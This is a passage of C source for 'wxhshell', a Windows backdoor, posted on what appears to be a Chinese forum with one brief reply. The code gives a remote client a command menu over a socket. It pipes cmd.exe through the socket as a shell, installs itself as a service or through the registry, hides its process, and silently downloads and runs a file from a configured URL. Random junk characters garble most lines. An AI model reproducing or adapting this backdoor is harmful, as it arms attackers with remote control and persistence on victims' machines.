  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JD*8@N  
  else x[x(y{&~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WqQU@sA  
  } AG>\aV"b  
  else { =) }nLS3t  
%K l(>{N  
    switch(cmd[0]) { /[{auUxSX  
  I .P6l*$  
  // 帮助 NbkK&bz  
  case '?': { 'Wp @b678  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dp<$Zw8BE  
    break; vBoO'l9'M  
  } 9yL6W'B!  
  // 安装 `ET& VV  
  case 'i': { q:]Q% IC^  
    if(Install()) OaaH$B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D5L{T+}Oi%  
    else i*CnoQH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )4m_A p\  
    break; d.AC%&W  
    } esI'"hVJ  
  // 卸载 Ww`&i  
  case 'r': { <u0,Fp  
    if(Uninstall()) eGvOA\y:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EEwWucQ  
    else c1#+Vse  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GHG,!C  
    break; p+Lv=e)0u  
    } 2*'ciH37  
  // 显示 wxhshell 所在路径 ]0-<>  
  case 'p': { 4Jykos2  
    char svExeFile[MAX_PATH]; QNg\4%  
    strcpy(svExeFile,"\n\r");  KGT3|)QN  
      strcat(svExeFile,ExeFile); x<F$aXOS  
        send(wsh,svExeFile,strlen(svExeFile),0); iRve)   
    break; ix*muVBj.  
    } tvpN/p  
  // 重启 0T9. M(  
  case 'b': { " " %#cDR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LGVlc@0'  
    if(Boot(REBOOT)) |,sM ST%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^h?:L:1n  
    else { ArXl=s';s4  
    closesocket(wsh); t9` Ed>a  
    ExitThread(0); V.VJcx  
    } !*vBW/  
    break; vD26;S.y[a  
    } X"<|Z]w  
  // 关机 l1r_b68  
  case 'd': { 9/3;{`+[a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d.r Y-k  
    if(Boot(SHUTDOWN)) {7X~!e|w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<utq|#s  
    else { IU9, (E  
    closesocket(wsh); "+h/-2rA  
    ExitThread(0); E9$H nj+m  
    } y6%<zhs  
    break; #PFO]j!_b  
    } D^?_"wjW  
  // 获取shell Pa&4)OD  
  case 's': { u)~s4tP4  
    CmdShell(wsh); 9rcI+q=E  
    closesocket(wsh); lT,+bU  
    ExitThread(0); >r}Vf9 5[N  
    break; ]sL45k2W  
  } dG0VBE  
  // 退出 N!c gN  
  case 'x': { ChE_unw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vgThK9{m;  
    CloseIt(wsh); S#2[%o  
    break; 2w4MJ,Uw  
    } Dbz]{_Y;  
  // 离开 0roCP=;  
  case 'q': { QO,+ps<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ac\W\=QvB  
    closesocket(wsh); <|H ?gfM  
    WSACleanup(); WQKj]:qk0  
    exit(1); OKPJuV`y6  
    break; _tWE8 r,  
        } GV6mzD@ <  
  } HJ@5B"  
  } m =k%,J_  
F1c&0*_A  
  // 提示信息 =x H~ww (D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xw^X&Pp  
} "&-C$J5 Id  
  } 1VLLo~L%  
8R4qU!M  
  return; Sk=N [hwU  
} H[nz]s  
7zGMkl  
// shell模块句柄 &yLc1#H  
int CmdShell(SOCKET sock) O?E6xc<8  
{ _9kIRmT{  
STARTUPINFO si; Tl3"PIb  
ZeroMemory(&si,sizeof(si)); 6K 4+0xXv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YoAg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W4vBf^eC  
PROCESS_INFORMATION ProcessInfo; RIjM(P  
char cmdline[]="cmd"; D]u=PqHk2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /b{HG7i\  
  return 0; [`nY2[A$  
} 9L"?wv  
;BVDt  
// 自身启动模式 * nCx[  
int StartFromService(void) I?M@5u  
{ ^'W%X  
typedef struct x+^Vg3 q  
{ 4_Y!elH)  
  DWORD ExitStatus; 5;Ia$lm=y  
  DWORD PebBaseAddress; %6i=lyH-  
  DWORD AffinityMask; 5~l2!PY  
  DWORD BasePriority; =]b9X7}  
  ULONG UniqueProcessId; gZ`DT  
  ULONG InheritedFromUniqueProcessId; `bqzg  
}   PROCESS_BASIC_INFORMATION; |Fp'/~|w2d  
wd+O5Lr.R  
PROCNTQSIP NtQueryInformationProcess; .bfST.OA  
 ?Ib}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DL4iXULNY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <V S2]13  
SqqDV)Uih1  
  HANDLE             hProcess; J]\^QMX  
  PROCESS_BASIC_INFORMATION pbi; f3n~{a,[  
u[EK#%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _FsB6 G]mc  
  if(NULL == hInst ) return 0; EfKntrom[  
-tyaE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } 07r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xwOE+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0b++ 17aV  
]!aUT&  
  if (!NtQueryInformationProcess) return 0; @p]UvqtB@  
8\_*1h40s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^ItAW$T]F  
  if(!hProcess) return 0; hr~.Lj5^W  
+WL  D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $5L(gn[  
'tuBuYD\  
  CloseHandle(hProcess); ^c'f<<z|7r  
Hirr=a3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -'ZxN'*%  
if(hProcess==NULL) return 0; V16%Ne  
61,O%lV  
HMODULE hMod; O 6]u!NqG  
char procName[255]; ]_ #SAhOR)  
unsigned long cbNeeded; {AgBwBCE  
^A#x<J+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !gJzg*{u@  
T#r=<YH[C  
  CloseHandle(hProcess); }!B.K^@)  
\(bj(any  
if(strstr(procName,"services")) return 1; // 以服务启动 LG6I_[  
+{*)}[w{x  
  return 0; // 注册表启动 qc&jd  
} 4if\5P:j  
r?$ &Z^  
// 主模块 acae=c|X  
int StartWxhshell(LPSTR lpCmdLine) }.t^D|  
{ JWWInuH  
  SOCKET wsl; {*fUJmao"  
BOOL val=TRUE; 5M.Red.L  
  int port=0; DaDUK?  
  struct sockaddr_in door; 8_ X.c  
H &fTh  
  if(wscfg.ws_autoins) Install(); nl9kYE [  
c(&AnIlS  
port=atoi(lpCmdLine); rkIMM,   
|0]YA  
if(port<=0) port=wscfg.ws_port; dk:xnX%  
rXDJ:NP  
  WSADATA data; @ExLh9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `u=oeM :  
5"uNj<.V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OPLl*bnf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^XNw$@&',  
  door.sin_family = AF_INET; UOJ*a1BM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QA,*:qx  
  door.sin_port = htons(port); pJ6Jx(  
QH:>jmC{1h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {83C,C-  
closesocket(wsl); 4UVW#Rw{  
return 1; Z*Zc]hD  
} &t_A0z  
X98#QR#m  
  if(listen(wsl,2) == INVALID_SOCKET) { /} a_8iM\  
closesocket(wsl); 6+ ?wnp-  
return 1; z2v<a{e  
} Q!`)e@r  
  Wxhshell(wsl); IqXBz.p  
  WSACleanup(); '(TmV#3  
y,V6h*x2  
return 0; @o60 c  
R)Q/Ff@o0  
} ovbEmb  
|SxMN %M!  
// 以NT服务方式启动 J ZA*{n2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r:73uRk  
{ %6N)G!P  
DWORD   status = 0; *h:D|4oJ(  
  DWORD   specificError = 0xfffffff; drbe#FObX  
{hM"TO7\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B_!wutV@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aDN.gM S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &jt02+Hj'  
  serviceStatus.dwWin32ExitCode     = 0; x ~wNO/  
  serviceStatus.dwServiceSpecificExitCode = 0; =pyVn_dg  
  serviceStatus.dwCheckPoint       = 0; CX]RtV!  
  serviceStatus.dwWaitHint       = 0; z+ uL "PG[  
#s*k| j}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }iMXXXBOT  
  if (hServiceStatusHandle==0) return; El{r$-}  
*q}FV2  
status = GetLastError(); ,}u,)7  
  if (status!=NO_ERROR) i},d[  
{ C0gfJ~M )  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^u3*hl}YKy  
    serviceStatus.dwCheckPoint       = 0; 'frWu6]< 4  
    serviceStatus.dwWaitHint       = 0; q?(A!1(u  
    serviceStatus.dwWin32ExitCode     = status; R08&cd#$  
    serviceStatus.dwServiceSpecificExitCode = specificError; p?}f|mQS)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z1kBNOr  
    return; hr%U>U9F  
  } )sRN!~  
j{)fC]8H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l},dQ4R  
  serviceStatus.dwCheckPoint       = 0; 5[nmP95YK  
  serviceStatus.dwWaitHint       = 0; Wux0RF&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lK "' nLL  
} gAj0ukX5  
9U&~(;  
// 处理NT服务事件,比如:启动、停止 3\,MsoAl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~KJ,SLzhx9  
{ UE\%e9<l  
switch(fdwControl) cT\O v P*_  
{ cW=Qh-`jU;  
case SERVICE_CONTROL_STOP: DE'Xq6#PK  
  serviceStatus.dwWin32ExitCode = 0; 3'.! +#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HJc<Gwm  
  serviceStatus.dwCheckPoint   = 0; SwyaYK  
  serviceStatus.dwWaitHint     = 0; K *TnUQ  
  { L^6"' #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "pOqd8>]  
  } " 98/HzR  
  return; K1/ U (A  
case SERVICE_CONTROL_PAUSE: uFz/PDOZ@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JvKO $^  
  break; *@CVYJ'<  
case SERVICE_CONTROL_CONTINUE: "&@gX_%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cLn;,u4  
  break; H3!,d`D.N  
case SERVICE_CONTROL_INTERROGATE: iKohuZr  
  break; uPI v/&HA  
}; K/!/M%GB6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1aBD^^Y  
} GVeL~Q  
4s[`yV  
// 标准应用程序主函数 \)FeuLGL9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7F,07\c  
{ ^cB49s+{e  
ixIh T  
// 获取操作系统版本 rH[5~U  
OsIsNt=GetOsVer(); dz{#"No0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cq-hPa}2  
pTc$+Z7 3  
  // 从命令行安装 #E*@/ p/  
  if(strpbrk(lpCmdLine,"iI")) Install(); nUiS<D2  
8w03{H 0  
  // 下载执行文件 O 5g}2  
if(wscfg.ws_downexe) { SL6mNn9c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0PYvey }[  
  WinExec(wscfg.ws_filenam,SW_HIDE); G%xb0%oi]%  
} 2O?Vr" A  
eLCdAr  
if(!OsIsNt) { ll^Th >  
// 如果时win9x,隐藏进程并且设置为注册表启动 =AWX +znP  
HideProc(); H0: iYHu  
StartWxhshell(lpCmdLine); np<f,  
} W/#KX}4  
else Kl4isGcr]  
  if(StartFromService()) 7h(HG?2Y  
  // 以服务方式启动 ) ~ l\  
  StartServiceCtrlDispatcher(DispatchTable); VI(RT-S6  
else i6-wf Gs;  
  // 普通方式启动 Mr$# e  
  StartWxhshell(lpCmdLine);  aeEw#  
OG0r4^6Ly  
return 0; 7xX;MB &  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八